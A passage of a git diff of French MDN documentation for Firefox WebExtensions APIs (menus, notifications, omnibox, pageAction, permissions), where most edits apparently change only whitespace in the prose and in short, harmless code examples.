l'utilisateur a la touche Ctrl enfoncée, alors "Ctrl" et "MacCtrl" sont inclus. + - : `Array` de`string`. Un tableau contenant toutes les touches de modification qui ont été pressées lorsque l'élément a été cliqué. Les valeurs possibles sont : "Alt", "Command", "Ctrl", "MacCtrl", et "Shift". Sur un Mac, si l'utilisateur a la touche Ctrl enfoncée, alors "Ctrl" et "MacCtrl" sont inclus. - `pageUrl` {{optional_inline}} - : `string`. L'URL de la page sur laquelle l'élément de menu a été cliqué. Cette propriété n'est pas présente si le clic s'est produit dans un contexte où il n'y a pas de page en cours, comme dans le cas d'une action du navigateur. - `parentMenuItemId` {{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/onhidden/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/onhidden/index.md index 73b35daf49..a77418bef4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/onhidden/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/onhidden/index.md @@ -35,7 +35,7 @@ Les événements ont trois fonctions : - `addListener(listener)` - : Ajoute un écouteur à cet événement. - `removeListener(listener)` - - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. + - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, `false` sinon. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/onshown/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/onshown/index.md index cd7731fd05..b88b5d745b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/onshown/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/onshown/index.md @@ -20,7 +20,7 @@ Une extension peut utiliser cet événement pour mettre à jour ses éléments d Le gestionnaire peut ajouter, supprimer ou mettre à jour des éléments de menu. -Par exemple, l'extension d'exemple [menu-labelled-open](https://github.com/mdn/webextensions-examples/tree/master/menu-labelled-open) ajoute un élément de menu qui s'affiche lorsque l'utilisateur clique sur un lien et qui, lorsqu'il est cliqué, ouvre simplement le lien. Il utilise `onShown` et `refresh()` pour annoter l'élément de menu avec le nom d'hôte du lien, afin que l'utilisateur puisse facilement voir où il ira avant de cliquer. +Par exemple, l'extension d'exemple [menu-labelled-open](https://github.com/mdn/webextensions-examples/tree/master/menu-labelled-open) ajoute un élément de menu qui s'affiche lorsque l'utilisateur clique sur un lien et qui, lorsqu'il est cliqué, ouvre simplement le lien. Il utilise `onShown` et `refresh()` pour annoter l'élément de menu avec le nom d'hôte du lien, afin que l'utilisateur puisse facilement voir où il ira avant de cliquer. Notez qu'une extension ne devrait pas prendre trop de temps avant d'appeler `refresh()`, sinon la mise à jour sera visible par l'utilisateur. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/overridecontext/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/overridecontext/index.md index 619753ac6a..abad255218 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/overridecontext/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/overridecontext/index.md @@ -38,6 +38,6 @@ browser.menus.overrideContext( - `context` {{optional_inline}} - : `string`. Le ContextType à surcharger, pour autoriser les éléments de menu d'autres extensions dans le menu. Actuellement, seuls `'bookmark'` et `'tab'` sont supportés. `showDefaults` ne peut pas être utilisé avec cette option. - `bookmarkId` {{optional_inline}} - - : `string`. Requis lorsque le contexte est `'bookmark'`. Nécessite la permission 'bookmark'. + - : `string`. Requis lorsque le contexte est `'bookmark'`. Nécessite la permission 'bookmark'. - `tabId` {{optional_inline}} - : `integer`. Requis lorsque le contexte est `'tab'`. Nécessite la permission 'tabs'. diff --git a/files/fr/mozilla/add-ons/webextensions/api/menus/update/index.md b/files/fr/mozilla/add-ons/webextensions/api/menus/update/index.md index df24382938..117d38872e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/menus/update/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/menus/update/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/menus/update Met à jour un élément de menu précédemment créé. -Pour la compatibilité avec d'autres navigateurs, Firefox rend cette méthode disponible via l'espace de noms `contextMenus` ainsi que l'espace de noms des `menus`. +Pour la compatibilité avec d'autres navigateurs, Firefox rend cette méthode disponible via l'espace de noms `contextMenus` ainsi que l'espace de noms des `menus`. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -36,7 +36,7 @@ var updating = browser.menus.update( - : `integer` ou `string`. L'ID de l'article à mettre à jour. - `updateProperties` - - : `object`. Les propriétés à mettre à jour. Identique à l'objet `createProperties` passé à {{WebExtAPIRef("menus.create()", "menus.create()")}}, sauf que l'`id` ne peut être défini. En outre, les `icônes` ne peuvent être modifiées que dans les commandes de menu, et non dans le menu contextuel de niveau supérieur. L'icône de niveau supérieur correspond à l'icône principale de l'extension telle que déclarée dans le fichier manifeste de l'extension. + - : `object`. Les propriétés à mettre à jour. Identique à l'objet `createProperties` passé à {{WebExtAPIRef("menus.create()", "menus.create()")}}, sauf que l'`id` ne peut être défini. En outre, les `icônes` ne peuvent être modifiées que dans les commandes de menu, et non dans le menu contextuel de niveau supérieur. L'icône de niveau supérieur correspond à l'icône principale de l'extension telle que déclarée dans le fichier manifeste de l'extension. - `checked` {{optional_inline}} - : `boolean`. L'état initial d'une case à cocher ou d'un élément radio : `true` fpour sélectionné et `false` pour non sélectionné. Un seul élément radio peut être sélectionné à la fois dans un groupe donné d'éléments radio. @@ -48,7 +48,7 @@ var updating = browser.menus.update( - `"_execute_page_action"`: simuler un clic sur l'action de la page de l'extension, en ouvrant son popup si elle en a une - `"_execute_sidebar_action"`: ouvre la barre latérale de l'extension - Cliquer sur l'élément déclenchera toujours l'événement {{WebExtAPIRef("menus.onClicked")}}, mais rien ne garantit l'ordre ici: la commande peut être exécutée avant le lancement de `onClicked`. + Cliquer sur l'élément déclenchera toujours l'événement {{WebExtAPIRef("menus.onClicked")}}, mais rien ne garantit l'ordre ici: la commande peut être exécutée avant le lancement de `onClicked`. - `contexts` {{optional_inline}} @@ -89,7 +89,7 @@ var updating = browser.menus.update( - `parentId` {{optional_inline}} - : `integer` ou `string`. L'ID d'un élément de menu parent ; ceci fait de l'élément un enfant d'un élément précédemment ajouté. Remarque : Si vous avez créé plus d'un élément de menu, les éléments seront placés dans un sous-menu. Le parent du sous-menu sera étiqueté avec le nom de l'extension. - `targetUrlPatterns` {{optional_inline}} - - : `array` de `string`. Similairer à `documentUrlPatterns`, mais vous permet de filtrer en fonction de la `href` des balises d'ancre et l'attribut `src` des balises img/audio/video. Ce paramètre prend en charge n'importe quel schéma d'URL, même ceux qui ne sont généralement pas autorisés dans un modèle de correspondance. + - : `array` de `string`. Similairer à `documentUrlPatterns`, mais vous permet de filtrer en fonction de la `href` des balises d'ancre et l'attribut `src` des balises img/audio/video. Ce paramètre prend en charge n'importe quel schéma d'URL, même ceux qui ne sont généralement pas autorisés dans un modèle de correspondance. - `title` {{optional_inline}} - : `string`. Le texte à afficher dans le poste. Obligatoire sauf si le `type` est "separateur". diff --git a/files/fr/mozilla/add-ons/webextensions/api/notifications/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/notifications/create/index.md index bc3fc15529..cd0009b301 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/notifications/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/notifications/create/index.md @@ -51,9 +51,9 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Créez et affichez périodiquement une notification de base à l'aide d'un {{WebExtAPIRef("alarms", "alarm")}}. En cliquant sur l'action du navigateur, la notification est rejetée. +Créez et affichez périodiquement une notification de base à l'aide d'un {{WebExtAPIRef("alarms", "alarm")}}. En cliquant sur l'action du navigateur, la notification est rejetée. -Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "alarms" pour créer des alarmes (ainsi que de la permission "notifications" pour créer des notifications). +Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "alarms" pour créer des alarmes (ainsi que de la permission "notifications" pour créer des notifications). ```js var cakeNotification = "cake-notification" diff --git a/files/fr/mozilla/add-ons/webextensions/api/notifications/index.md b/files/fr/mozilla/add-ons/webextensions/api/notifications/index.md index 94f2f3ab66..c88966089f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/notifications/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/notifications/index.md @@ -13,7 +13,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/notifications Afficher les notifications à l'utilisateur, en utilisant le mécanisme de notification du système d'exploitation sous-jacent. Étant donné que cette API utilise le mécanisme de notification du système d'exploitation, les détails de l'apparence et du comportement des notifications peuvent varier en fonction du système d'exploitation et des paramètres de l'utilisateur. -Pour utiliser cette API, vous devez avoir la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) "notifications". +Pour utiliser cette API, vous devez avoir la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) "notifications". La notification est identique sur tous les systèmes d'exploitation de bureau. Quelque chose comme : @@ -31,7 +31,7 @@ La notification est identique sur tous les systèmes d'exploitation de bureau. Q - {{WebExtAPIRef("notifications.clear()")}} - : Effacer une notification spécifique, compte tenu de son identifiant. - {{WebExtAPIRef("notifications.create()")}} - - : Créez et affichez une nouvelle notification. + - : Créez et affichez une nouvelle notification. - {{WebExtAPIRef("notifications.getAll()")}} - : Recevez toutes les notifications - {{WebExtAPIRef("notifications.update()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/notifications/onclosed/index.md b/files/fr/mozilla/add-ons/webextensions/api/notifications/onclosed/index.md index 213bc42757..b632fe3277 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/notifications/onclosed/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/notifications/onclosed/index.md @@ -53,11 +53,11 @@ Les événements ont trois fonctions : ## Exemples -Dans cet exemple simple, nous ajoutons un écouteur à l'événement {{WebExtAPIRef("notifications.onClosed")}} pour écouter les notifications système fermées. Lorsque cela se produit, nous enregistrons un message approprié à la console. +Dans cet exemple simple, nous ajoutons un écouteur à l'événement {{WebExtAPIRef("notifications.onClosed")}} pour écouter les notifications système fermées. Lorsque cela se produit, nous enregistrons un message approprié à la console. ```js browser.notifications.onClosed.addListener(function(notificationId) { - console.log('Notification ' + notificationId + ' has closed.'); + console.log('Notification ' + notificationId + ' has closed.'); }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/notifications/update/index.md b/files/fr/mozilla/add-ons/webextensions/api/notifications/update/index.md index 04a7b66084..49d9e98912 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/notifications/update/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/notifications/update/index.md @@ -31,7 +31,7 @@ var updating = browser.notifications.update( ### Paramètres - `id` - - : `string`. L'ID de la notification à mettre à jour. C'est la même chose que l'ID transmis dans le callback {{WebExtAPIRef('notifications.create()')}}. + - : `string`. L'ID de la notification à mettre à jour. C'est la même chose que l'ID transmis dans le callback {{WebExtAPIRef('notifications.create()')}}. - `options` - : {{WebExtAPIRef('notifications.NotificationOptions')}}. Définit le nouveau contenu et le nouveau comportement de la notification. @@ -45,7 +45,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Cet exemple utilise `update()` pour mettre à jour une notification de progression. Cliquez sur l'action du navigateur pour afficher la notification et lancer un {{WebExtAPIRef("alarms", "alarm")}}, que nous utilisons pour mettre à jour l'indicateur de progression de la notification. +Cet exemple utilise `update()` pour mettre à jour une notification de progression. Cliquez sur l'action du navigateur pour afficher la notification et lancer un {{WebExtAPIRef("alarms", "alarm")}}, que nous utilisons pour mettre à jour l'indicateur de progression de la notification. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "alarms" pour créer des alarmes (ainsi que de la permission "notifications" pour créer des notifications). Notez également que Firefox ne prend pas en charge l'attribut de `progress`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/index.md index 3cac8008c6..7a421797bd 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/index.md @@ -18,11 +18,11 @@ Lorsque l'utilisateur se concentre sur la barre d'adresse du navigateur et comme L'API omnibox fournit à l'extension un moyen de personnaliser les suggestions affichées dans la liste déroulante, lorsque l'utilisateur saisit un mot clé défini par l'extension. Cela fonctionne comme suit:... -1. Tout d'abord, l'extension doit inclure une clé "[omnibox](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox)" dans le fichier [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json) qui définit un mot-clé. -2. Lorsque l'utilisateur met la barre d'adresse en surbrillance et tape le mot-clé, suivi d'un espace, l'extension recevra un événement {{WebExtAPIRef("omnibox.onInputStarted")}}. -3. Facultativement, l'extension peut appeler {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}} pour définir la première suggestion qui sera affichée dans la liste déroulante de la barre d'adresse. +1. Tout d'abord, l'extension doit inclure une clé "[omnibox](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox)" dans le fichier [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json) qui définit un mot-clé. +2. Lorsque l'utilisateur met la barre d'adresse en surbrillance et tape le mot-clé, suivi d'un espace, l'extension recevra un événement {{WebExtAPIRef("omnibox.onInputStarted")}}. +3. Facultativement, l'extension peut appeler {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}} pour définir la première suggestion qui sera affichée dans la liste déroulante de la barre d'adresse. 4. Comme l'utilisateur continue à taper des caractères après cela, l'extension recevra {{WebExtAPIRef("omnibox.onInputChanged")}} événements. L'écouteur d'événement recevra la valeur actuelle que l'utilisateur a saisie et pourra remplir la liste déroulante de la barre d'adresse avec des suggestions. Si l'extension définit une suggestion par défaut en utilisant {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, elle apparaît en premier dans la liste déroulante. -5. Si l'utilisateur accepte une suggestion, l'extension recevra un événement {{WebExtAPIRef("omnibox.onInputEntered")}}. L'écouteur d'événement recevra la suggestion acceptée. +5. Si l'utilisateur accepte une suggestion, l'extension recevra un événement {{WebExtAPIRef("omnibox.onInputEntered")}}. L'écouteur d'événement recevra la suggestion acceptée. 6. Si l'utilisateur supprime la liste déroulante, l'extension recevra un événement {{WebExtAPIRef("omnibox.onInputCancelled")}}. ## Types diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputchanged/index.md index b5f94ea189..0d3e49226b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputchanged/index.md @@ -36,7 +36,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true`s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true`s'il écoute, sinon `false`. ## syntaxe addListener @@ -47,7 +47,7 @@ The listener function will be passed two parameters: a string `text`, and a call - `text` - : `String`. L'entrée actuelle de l'utilisateur dans la barre d'adresse, n'incluant pas le mot-clé de l'extension lui-même ou l'espace après le mot-clé. Utilisez-le pour décider quelles suggestions afficher dans la liste déroulante. - `suggest` - - : `Function`. Une fonction de rappel que l'écouteur d'événement peut appeler pour fournir des suggestions pour la liste déroulante de la barre d'adresse. La fonction de rappel s'attend à recevoir un tableau d'objets {{WebExtAPIRef("omnibox.SuggestResult")}} un pour chaque suggestion. Seules les six premières suggestions seront affichées. + - : `Function`. Une fonction de rappel que l'écouteur d'événement peut appeler pour fournir des suggestions pour la liste déroulante de la barre d'adresse. La fonction de rappel s'attend à recevoir un tableau d'objets {{WebExtAPIRef("omnibox.SuggestResult")}} un pour chaque suggestion. Seules les six premières suggestions seront affichées. ## Compatibilité du navigateur @@ -57,7 +57,7 @@ The listener function will be passed two parameters: a string `text`, and a call Cet exemple interprète l'entrée de l'utilisateur en tant que nom de propriété CSS et remplit la liste déroulante avec un objet {{WebExtAPIRef("omnibox.SuggestResult")}} pour chaque propriété CSS correspondant à l'entrée. La `description SuggestResult` est le nom complet de la propriété et le `contenu` est la page MDN de cette propriété. -L'exemple écoute également {{WebExtAPIRef("omnibox.onInputEntered")}}, et ouvre la page MDN correspondant à la sélection, conformément à l'argument {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. +L'exemple écoute également {{WebExtAPIRef("omnibox.onInputEntered")}}, et ouvre la page MDN correspondant à la sélection, conformément à l'argument {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. ```js browser.omnibox.setDefaultSuggestion({ diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputentered/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputentered/index.md index 1a81fa07c9..36c18351b3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputentered/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputentered/index.md @@ -36,11 +36,11 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. ## Syntaxe addListener -La fonction d'écouteur recevra deux paramètres: une chaine de `text`, et un {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. +La fonction d'écouteur recevra deux paramètres: une chaine de `text`, et un {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. ### Paramètres @@ -55,9 +55,9 @@ La fonction d'écouteur recevra deux paramètres: une chaine de `text`, et un ## Exemples -Cet exemple interprète l'entrée de l'utilisateur en tant que nom de propriété CSS et remplit la liste déroulante avec un objet {{WebExtAPIRef("omnibox.SuggestResult")}} pour chaque propriété CSS correspondant à l'entrée. La `description SuggestResult` est le nom complet de la propriété et le `contenu` est la page MDN de cette propriété. +Cet exemple interprète l'entrée de l'utilisateur en tant que nom de propriété CSS et remplit la liste déroulante avec un objet {{WebExtAPIRef("omnibox.SuggestResult")}} pour chaque propriété CSS correspondant à l'entrée. La `description SuggestResult` est le nom complet de la propriété et le `contenu` est la page MDN de cette propriété. -L'exemple écoute également {{WebExtAPIRef("omnibox.onInputEntered")}}, et ouvre la page MDN correspondant à la sélection, conformément à l'argument {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. +L'exemple écoute également {{WebExtAPIRef("omnibox.onInputEntered")}}, et ouvre la page MDN correspondant à la sélection, conformément à l'argument {{WebExtAPIRef("omnibox.OnInputEnteredDisposition")}}. ```js browser.omnibox.setDefaultSuggestion({ diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputstarted/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputstarted/index.md index 9f13c9d417..6d5686e474 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputstarted/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/oninputstarted/index.md @@ -50,7 +50,7 @@ Les événements ont trois fonctions : ```js browser.omnibox.onInputStarted.addListener(() => { - console.log("User has started interacting with me.") + console.log("User has started interacting with me.") }); ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/setdefaultsuggestion/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/setdefaultsuggestion/index.md index c7deca0551..b1d0bbf909 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/setdefaultsuggestion/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/setdefaultsuggestion/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/omnibox/setDefaultSuggestion Définissez la suggestion par défaut à afficher dans la liste déroulante de la barre d'adresse lorsque l'utilisateur commence à interagir avec votre extension. -Une fois que l'utilisateur a entré votre mot clé et a commencé à interagir avec votre extension, la suggestion par défaut apparaît toujours en premier dans la liste déroulante. Contrairement aux suggestions que vous fournissez dans {{WebExtAPIRef("omnibox.onInputChanged")}}, cet élément ne peut pas être sélectionné. Utilisez-le pour fournir à l'utilisateur des conseils sur ce qu'il doit taper et sur ce qu'il peut s'attendre à voir quand il le fait. +Une fois que l'utilisateur a entré votre mot clé et a commencé à interagir avec votre extension, la suggestion par défaut apparaît toujours en premier dans la liste déroulante. Contrairement aux suggestions que vous fournissez dans {{WebExtAPIRef("omnibox.onInputChanged")}}, cet élément ne peut pas être sélectionné. Utilisez-le pour fournir à l'utilisateur des conseils sur ce qu'il doit taper et sur ce qu'il peut s'attendre à voir quand il le fait. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/omnibox/suggestresult/index.md b/files/fr/mozilla/add-ons/webextensions/api/omnibox/suggestresult/index.md index dba71ed5a4..6a5e3f7628 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/omnibox/suggestresult/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/omnibox/suggestresult/index.md @@ -16,14 +16,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/omnibox/SuggestResult Le type **`omnibox.SuggestResult`** définit une suggestion unique que l'extension peut ajouter à la liste déroulante de la barre d'adresse. -L'écouteur d'événement {{WebExtAPIRef("omnibox.onInputChanged")}} de l'extension reçoit un rappel. Pour remplir la liste déroulante de la barre d'adresse en réponse à l'entrée de l'utilisateur, l'extension peut transmettre un tableau d'objets `omnibox.SuggestResult` dans ce rappel. +L'écouteur d'événement {{WebExtAPIRef("omnibox.onInputChanged")}} de l'extension reçoit un rappel. Pour remplir la liste déroulante de la barre d'adresse en réponse à l'entrée de l'utilisateur, l'extension peut transmettre un tableau d'objets `omnibox.SuggestResult` dans ce rappel. ## Type Les valeurs de ce type sont des objets. Ils ont les propriétés suivantes : - `content` - - : C'est la valeur qui apparaîtra dans la barre d'adresse elle-même lorsque l'utilisateur mettra cette suggestion en évidence dans la liste déroulante. C'est également la chaîne envoyée à l'écouteur d'événement {{WebExtAPIRef("omnibox.onInputEntered")}} si l'utilisateur sélectionne cette suggestion. Si la chaîne est la même que celle que l'utilisateur a déjà tapée, cette entrée n'apparaîtra pas dans la liste déroulante. + - : C'est la valeur qui apparaîtra dans la barre d'adresse elle-même lorsque l'utilisateur mettra cette suggestion en évidence dans la liste déroulante. C'est également la chaîne envoyée à l'écouteur d'événement {{WebExtAPIRef("omnibox.onInputEntered")}} si l'utilisateur sélectionne cette suggestion. Si la chaîne est la même que celle que l'utilisateur a déjà tapée, cette entrée n'apparaîtra pas dans la liste déroulante. - `description` - : C'est la chaîne qui est affichée dans la liste déroulante de la barre d'adresse. diff --git a/files/fr/mozilla/add-ons/webextensions/api/pageaction/getpopup/index.md b/files/fr/mozilla/add-ons/webextensions/api/pageaction/getpopup/index.md index 7fdc1dad1d..cf0288b230 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pageaction/getpopup/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pageaction/getpopup/index.md @@ -46,7 +46,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Ajoutez un élément de menu contextuel qui enregistre l'URL contextuelle de l'onglet en cours. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `contextMenus` dans votre [manifest](/fr/Add-ons/WebExtensions/manifest.json) pour créer des éléments de menu contextuel. +Ajoutez un élément de menu contextuel qui enregistre l'URL contextuelle de l'onglet en cours. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `contextMenus` dans votre [manifest](/fr/Add-ons/WebExtensions/manifest.json) pour créer des éléments de menu contextuel. ```js function gotPopup(popupURL) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/pageaction/gettitle/index.md b/files/fr/mozilla/add-ons/webextensions/api/pageaction/gettitle/index.md index 4d209a7aad..17b307253f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pageaction/gettitle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pageaction/gettitle/index.md @@ -38,7 +38,7 @@ var gettingTitle = browser.pageAction.getTitle( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera accomplie avec une chaîne contenant le titre de l'action de la page. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera accomplie avec une chaîne contenant le titre de l'action de la page. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/pageaction/index.md b/files/fr/mozilla/add-ons/webextensions/api/pageaction/index.md index 01477d446f..f889677301 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pageaction/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pageaction/index.md @@ -18,11 +18,11 @@ Une [action de page](/fr/Add-ons/WebExtensions/Page_actions) est une icône cliq  -Vous pouvez écouter les clics sur l'icône, ou spécifié une [fenêtre contextuelle](/fr/Add-ons/WebExtensions/Popups) qui s'ouvre lorsque l'icone est cliquée. +Vous pouvez écouter les clics sur l'icône, ou spécifié une [fenêtre contextuelle](/fr/Add-ons/WebExtensions/Popups) qui s'ouvre lorsque l'icone est cliquée. Si vous spécifiez une fenêtre contextuelle, vous pouvez définir son contenu et son comportement en utilisant HTML, CSS et JavaScript, tout comme une page Web normale. Le JavaScript s'exécutant dans la fenêtre contextuelle accède à toutes les mêmes API WebExtension que vos scripts d'arrière-plan. -Vous pouvez définir la plupart des propriétés d'une action de page de manière déclarative à l'aide de la [clef page_action](/fr/Add-ons/WebExtensions/manifest.json/page_action) dans votre [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json), mais également les redéfinir par programmation en utilisant cette API. +Vous pouvez définir la plupart des propriétés d'une action de page de manière déclarative à l'aide de la [clef page_action](/fr/Add-ons/WebExtensions/manifest.json/page_action) dans votre [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json), mais également les redéfinir par programmation en utilisant cette API. Les actions de page sont pour des actions qui ne sont pertinentes que pour des pages particulières (comme "favoris dans l'onglet courrant"). S'ils sont pertinents pour le navigateur dans son ensemble (par exemple, "Afficher tous les favoris"), utilisez plutôt une action du navigateur. diff --git a/files/fr/mozilla/add-ons/webextensions/api/pageaction/isshown/index.md b/files/fr/mozilla/add-ons/webextensions/api/pageaction/isshown/index.md index c6b6144c27..deb62cd0b6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pageaction/isshown/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pageaction/isshown/index.md @@ -49,14 +49,14 @@ Vérifiez l'état de l'onglet actuellement actif : ```js async function shownInActiveTab() { - let tabs = await browser.tabs.query({ + let tabs = await browser.tabs.query({ currentWindow:true, active: true }); - let shown = await browser.pageAction.isShown({ + let shown = await browser.pageAction.isShown({ tabId: tabs[0].id }); - console.log(shown); + console.log(shown); } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/pageaction/show/index.md b/files/fr/mozilla/add-ons/webextensions/api/pageaction/show/index.md index 6e342b56dd..4304735b07 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pageaction/show/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pageaction/show/index.md @@ -19,7 +19,7 @@ Affiche l'action de la page pour un onglet donné. L'action de la page est affic `show()` remplace la correspondance de motifs, de sorte que l'action page sera affichée dans l'onglet spécifié même si [`show_matches`](/Add-ons/WebExtensions/manifest.json/page_action) e correspond pas à l'URL ou si [`hide_matches`](/Add-ons/WebExtensions/manifest.json/page_action) ne correspond pas. -Notez que l'appel à `show()` n'a aucun effet sur un onglet sans contenu chargé. +Notez que l'appel à `show()` n'a aucun effet sur un onglet sans contenu chargé. ## Syntaxe @@ -44,7 +44,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Cette exemple montre l'action de la page pour l'onglet actif lorsque l'utilisateur sélectionne un élément de menu contextuel. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `contextMenus` dans votre [manifest](/fr/Add-ons/WebExtensions/manifest.json) pour créer des éléments de menu contextuel. +Cette exemple montre l'action de la page pour l'onglet actif lorsque l'utilisateur sélectionne un élément de menu contextuel. Notez que vous aurez besoin de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `contextMenus` dans votre [manifest](/fr/Add-ons/WebExtensions/manifest.json) pour créer des éléments de menu contextuel. ```js browser.contextMenus.create({ diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/contains/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/contains/index.md index 81a6787d86..8c58af3564 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/contains/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/contains/index.md @@ -13,11 +13,11 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/permissions/contains --- {{AddonSidebar()}} -Vérifiez si l'extension a les permissions listées dans l'objet {{WebExtAPIRef("permissions.Permissions")}}. +Vérifiez si l'extension a les permissions listées dans l'objet 